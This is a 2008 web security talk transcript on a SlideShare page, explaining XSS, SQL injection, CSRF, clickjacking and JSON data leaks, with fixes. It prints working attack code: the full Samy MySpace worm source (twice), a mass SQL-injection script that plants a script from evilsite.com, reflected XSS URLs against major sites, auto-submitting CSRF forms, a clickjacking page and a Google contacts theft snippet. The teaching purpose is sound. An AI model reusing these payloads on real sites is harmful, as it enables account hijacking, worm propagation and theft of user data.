Web Security Horror Stories

  • 35,248 views
Uploaded on

Keeping your web application secure is an ongoing process - new classes of vulnerabilities are discovered with surprising frequency, and if you don't keep on top of them you could be in for a nasty …

Keeping your web application secure is an ongoing process - new classes of vulnerabilities are discovered with surprising frequency, and if you don't keep on top of them you could be in for a nasty surprise. This talk will discuss both common and obscure vulnerabilities, with real-world examples of attacks that have worked against high profile sites in the past.

More in: Technology
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
No Downloads

Views

Total Views
35,248
On Slideshare
0
From Embeds
0
Number of Embeds
17

Actions

Shares
Downloads
1,342
Comments
8
Likes
60

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. Web Security Horror Stories The Dire ctor’s C ut Simon Willison, 26th October 2008
  • 2. The edited version • On Friday, I spent 15 minutes introducing: • XSS • CSRF / login CSRF • SQL injection • Clickjacking • I promised this talk would provide fixes
  • 3. XSS • Cross-site scripting • Attacker injects JavaScript code in to your site • Amazingly common • A single XSS hole on your domain compromises your security, entirely
  • 4. Alex Russell: If you are subject to an XSS, the same domain policy already ensures that you’re f’d. An XSS attack is the “root” or “ring 0” attack of the web. http://www.sitepen.com/blog/2007/01/07/when-vendors-attack-film-at-11/
  • 5. The same origin policy “The same origin policy prevents a document or script loaded from one origin from getting or setting properties of a document from another origin. This policy dates all the way back to Netscape Navigator 2.0.” https://developer.mozilla.org/en/Same_origin_policy_for_JavaScript
  • 6. Why? • Without the same origin policy, I could load your site in a frame, iframe or popup window from my site... • ... and steal data from it • ... or rewrite it with my own modifications • evil.hax.ru should not be able to read secret-wiki.bigco.intl • XMLHttpRequest has the same policy
  • 7. Things I can do if you have an XSS hole • Steal your users’ cookies and log in as them • Show a fake phishing login page on your site • Embed malware and drive-by downloads • Perform any action as if I was your user
  • 8. Two categories of XSS • Reflected • I embed my JS in a link to your site and trick your user in to following it • Persistent • I get my XSS in to your site’s database somehow so that it shows up on your pages
  • 9. http://www.facebook.com/srch.php?nm=xss%00<script>alert('XSS')</script> http://www.youtube.com/edit_playlist_info?p='%22%3E%3Cscript% 20src=http://ckers.org/s%3E http://groups.google.com/group/rec.sport.pro-wrestling/browse_thread/ thread/1ab38554971acfc9')&+eval (alert(document.cookie))&+eval('?tvc=2 http://search.live.com/images/results.aspx? q=1&first=21&FORM=PEIRquot;><script>alert('securitylab.ru')</script> All from http://xssed.com/
  • 10. SQL injection
  • 11. Inexcusable. Use paramaterised queries, or an ORM
  • 12. If you’re gluing SQL strings together with string appends,
  • 13. • Wrong: • $sql = quot;select * from users where username = 'quot; . $username . quot;'quot;; • Right: • $results = db_query(quot;select * from users where username = ?quot;, $username);
  • 14. Mass XSS via SQL injection DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor; http://hackademix.net/2008/04/26/mass-attack-faq/
  • 15. Preventing XSS • Use a tool that escapes everything on output • Only unescape stuff that you know is safe and you know contains markup you want to execute • IE 8 has an XSS filter; this is irrelevant to developers • httpOnly cookies are mostly a waste of time
  • 16. HTML “sanitisation” • My users need to be able to add links and basic styles to their submissions • “I’ll let them use HTML and remove anything nasty” • An extremely common vector for XSS • MySpace • LiveJournal • Almost anyone else who tries
  • 17. <div id=mycode style=quot;BACKGROUND: url('java script:eval(document.all.mycode.expr)')quot; expr=quot;var B=String.fromCharCode(34);var A=String.fromCharCode (39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else {return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL (AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split ('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com') {document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()} function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV) {var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1) {Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST') {J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content- Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn (BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG +'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring (0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e) {Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace ('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn (AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS ['interest']=AG;J=getXMLObj();httpSend('/index.cfm? fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if (J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS ['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter (AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj ();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm() {if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm? fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2 (BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open (BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form- urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}quot;></DIV>
  • 18. samy is my hero http://namb.la/popular/
  • 19. A social network worm • XSS hole in MySpace’s HTML filter • When you viewed Samy’s profile... • JS makes you add him as a friend • JS uses XMLHttpRequest to add his exploit to YOUR profile as well
  • 20. 20 hours, 1,005,831 friend requests (then MySpace crashed)
  • 21. <div id=mycode style=quot;BACKGROUND: url('java script:eval(document.all.mycode.expr)')quot; expr=quot;var B=String.fromCharCode(34);var A=String.fromCharCode (39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else {return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL (AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split ('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com') {document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()} function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV) {var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1) {Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST') {J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content- Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn (BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG +'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring (0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e) {Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace ('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn (AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS ['interest']=AG;J=getXMLObj();httpSend('/index.cfm? fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if (J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS ['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter (AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj ();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm() {if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm? fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2 (BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open (BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form- urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}quot;></DIV>
  • 22. <div id=mycode style=quot;BACKGROUND: url('java script:eval(document.all.mycode.expr)')quot; expr=quot;...quot;> eval('document.body.inne' + 'rHTML'); eval('xmlhttp.onread' + 'ystatechange = callback'); http://namb.la/popular/tech.html
  • 23. Things to remember • Whitelist, don’t blacklist • You’re programming against undocumented parsing routines in closed-source browsers • Distrust any library that doesn’t have a unit test suite a mile long • http://ha.ckers.org/xss.html • http://code.google.com/p/html5lib/ is promising
  • 24. Google’s UTF-7 hole
  • 25. The UTF-7 hole • Google’s 404 pages used to be served without a character set specified in the HTTP headers or <head> section • Without those hints, IE inspects the first 4096 bytes to “guess” which encoding is used • XSS attacks encoded as UTF-7 were shown on the page and executed by IE http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
  • 26. You can’t trust CSS either • Want to let your users include their own stylesheet? • HTC in IE and XBL in Mozilla are both vectors for JavaScript attacks • LiveJournal were attacked with this • A “position: absolute” hack was used to steal 30,000 MySpace passwords last year http://community.livejournal.com/lj_dev/708069.html http://www.securiteam.com/securitynews/6O00M0AHFW.html
  • 27. CSRF
  • 28. Bill Zeller: “We’ve found CSRF vulnerabilities in sites that have a huge incentive to do security correctly. If you’re in charge of a website and haven’t specifically protected against CSRF, chances are you’re vulnerable”
  • 29. The Google Web Accelerator
  • 30. How does it work? • It pre-fetches the links on a page in to a cache, so they’re already loaded when you click on them • Links like http://app.example.com/ delete.php?id=5
  • 31. How does it work? • It pre-fetches the links on a page in to a cache, so they’re already loaded when you click on them • Links like http://app.example.com/ delete.php?id=5
  • 32. http://www.37signals.com/svn/archives2/google_web_accelerator_hey_not_so_fast_an_alert_for_web_app_designers.php
  • 33. That’s also a security hole <img src=quot;http://app.example.com/delete.php?id=1quot;> <img src=quot;http://app.example.com/delete.php?id=2quot;> <img src=quot;http://app.example.com/delete.php?id=3quot;> <img src=quot;http://app.example.com/delete.php?id=4quot;> <img src=quot;http://app.example.com/delete.php?id=5quot;> <img src=quot;http://app.example.com/delete.php?id=6quot;> <img src=quot;http://app.example.com/delete.php?id=7quot;> <img src=quot;http://app.example.com/delete.php?id=8quot;> ...
  • 34. So use POST • You can't create a page that automatically posts to another site, can you?
  • 35. POST will not save you <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;> <input type=quot;submitquot; value=quot;More kittens please!quot;> </form> fofurasfelinas: http://www.flickr.com/photos/fofurasfelinas/9724483/
  • 36. Or do it with JavaScript <div style=quot;display: nonequot;> <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;> </form> </div> <script>document.forms[0].submit()</script> Put this in a hidden iframe and your victim won't even know it happened.
  • 37. The Digg exploit • A few years ago, Digg had no CSRF protection on their “digg this” button • Self-digging pages! http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/
  • 38. The Gmail filter hack http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
  • 39. “We believe this is the first CSRF vulnerability to allow the transfer of funds from a financial institution.” http://www.freedom-to-tinker.com/blog/wzeller/ popular-websites-vulnerable-cross-site-request- forgery-attacks
  • 40. Preventing CSRF • You need to distinguish between form interactions from your user on your site, and form interactions from your user on some other site • Referrer checking is notoriously unreliable • Solution: include a form token (Yahoo! calls this a “crumb”) proving that the post came from your site
  • 41. Crumbs <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;37quot;> <input type=quot;hiddenquot; name=quot;crumbquot; value=quot;856c2f50ddc49fd710f14a406ec1fef652d3c9fquot;> <input type=quot;submitquot; value=quot;Delete this itemquot;> </form>
  • 42. Crumbs • Should be unique per user (or one user can use their crumb to attack another) • Hence should be tied to the user’s session or login cookie • Should be changed over time • Quick and dirty: use sha1(salt + user’s session ID + timestamp) as the crumb
  • 43. Protecting the crumb • Your crumb is now the only thing protecting you from CSRF attacks • This is why XSS is “ring 0” for the Web • With XSS, I can steal your crumb and run riot across your site • XSS holes are automatically CSRF holes
  • 44. Crumbs and Ajax • Ajax can set HTTP headers; regular forms can’t • Ajax requests must be from the same domain • So X-Requested-By: XMLHttpRequest can only come from your own site • You can skip your crumb checking for requests that include that custom header
  • 45. Login CSRF • Most login forms skip CSRF protection • Create a throw-away PayPal account • Use CSRF to log someone in as “you” • Hope that they add their credit card or bank details • Log in later and steal all of their money!
  • 46. Clickjacking http://jeremiahgrossman.blogspot.com/2008/09/cancelled-clickjacking-owasp-appsec.html
  • 47. iframe !
  • 48. <style type=quot;text/cssquot;> iframe { width: 400px; height: 200px; position: absolute; top: 10px; left: 10px; overflow: hidden; opacity: 0; } #decoy { ... } </style> <iframe src=quot;http://veryimportantapp.com/delete-account/quot;> </iframe> <p id=quot;decoyquot;>Click HERE for kittens!</p>
  • 49. Frame-busting <script type=quot;text/javascriptquot;> if (top.location != location) { top.location.href = document.location.href; } </script> • Ironically, turning off JavaScript in your browser makes you less safe here
  • 50. Anti click-jacki ng
  • 51. The problem with plugins
  • 52. crossdomain.xml <cross-domain-policy> <allow-access-from domain=quot;*quot; /> </cross-domain-policy> Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs Flash can even fake an X-Requested-With: XMLHttpRequest header That’s why Flickr use api.flickr.com/crossdomain.xml instead
  • 53. crossdomain.xml <cross-domain-policy> <allow-access-from domain=quot;*quot; /> </cross-domain-policy> Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs Flash can even fake an X-Requested-With: XMLHttpRequest header That’s why Flickr use api.flickr.com/crossdomain.xml instead
  • 54. Nasty crossdomain.xml tricks loadPolicyFile(quot;http://dom.ext/exit.php?url=http://dom.ext/upl/Xdomain.xmlquot;) 00000000 47 49 46 38 39 61 01 01-01 01 e7 e9 20 3c 63 72 GIF89a.......<cr 00000010 6f 73 73 2d 64 6f 6d 61-69 6e 2d 70 6f 6c 69 63 oss-domain-polic 00000020 79 3e 0a 20 20 3c 61 6c-6c 6f 77 2d 61 63 63 65 y>...<allow-acce 00000030 73 73 2d 66 72 6f 6d 20-64 6f 6d 61 69 6e 3d 22 ss-from domain=quot; 00000040 2a 22 2f 3e 20 0a 20 20-3c 2f 63 72 6f 73 73 2d *quot;/>....</cross- 00000050 64 6f 6d 61 69 6e 2d 70-6f 6c 69 63 79 3e 47 49 domain-policy>.. http://www.hardened-php.net/library/ poking_new_holes_with_flash_crossdomain_policy_files.html
  • 55. The PDF hole • In January 2007, an XSS hole was found in the Adobe PDF reader itself • It could execute JavaScript in the context of the current domain • Any sites hosting .pdf files for download were vulnerable http://shiflett.org/blog/2007/jan/adobe-pdf-xss-vulnerability
  • 56. You can’t secure your site 100%, because there’s always a chance a browser or plugin will screw things up for you
  • 57. Insecure JSON
  • 58. JSONP rocks! • http://json-tinyurl.appspot.com/ • http://json-time.appspot.com/ • http://json-head.appspot.com/ http://json-tinyurl.appspot.com/?url=http://example.com/&callback=foo foo({quot;tinyurlquot;: quot;http://tinyurl.com/kotuquot;, quot;okquot;: true})
  • 59. • JSONP lets you opt-in to sharing your site’s data with other sites using JavaScript • ... so make sure it’s data you want to share
  • 60. Stealing Google contacts <script> function google(a){ var emails; for(i=1;i<a.Body.Contacts.length;i){ alert(a.Body.Contacts[i].Email); } emails = quot;</ol>quot; document.write(emails); } </script> <script src=quot;http://docs.google.com/data/contacts? out=js&show=ALL&psort=Affinity&callback=google&max=99999quot;> </script> http://blog.adamjacobmuller.com/gmail.txt http://www.cyber-knowledge.net/blog/2007/01/01/gmail-vulnerable-to-contact-list-hijacking/
  • 61. Jeremiah Grossman: “If any JSON feed containing user-sensitive information is wrapped with a call-back and has a predictable URL... then that data is at risk” http://jeremiahgrossman.blogspot.com/2007/01/gmail-xsrf-json-call-back-hackery.html
  • 62. Regular JSON? • That’s not secure either • In old versions of Firefox, you can redefine the Array constructor to grab the data • If your JSON object is an array, the data can be grabbed using <script src=quot;your- data-herequot;> http://directwebremoting.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html
  • 63. Secure JSON Use { } as the root, not [ ] If you’re paranoid about future similar problems, use an idiom like this one: while (true) { {quot;jsonquot;: quot;goes herequot;} }
  • 64. And if that wasn’t enough “More than 70% of people would reveal their computer password in exchange for a bar of chocolate, a survey has found.” http://news.bbc.co.uk/1/hi/technology/3639679.stm • We have a shared responsibility to teach people better online security behaviour • Don’t teach our users to be phished!
  • 65. NoScript?
  • 66. Stay informed! • http://planet-websecurity.org/feed/ • http://www.owasp.org/ • http://simonwillison.net/tags/security/ • http://simonwillison.net/tags/csrf/ • http://simonwillison.net/tags/xss/ • http://simonwillison.net/tags/clickjacking/ • http://simonwillison.net/tags/phishing/
  • 67. Thank you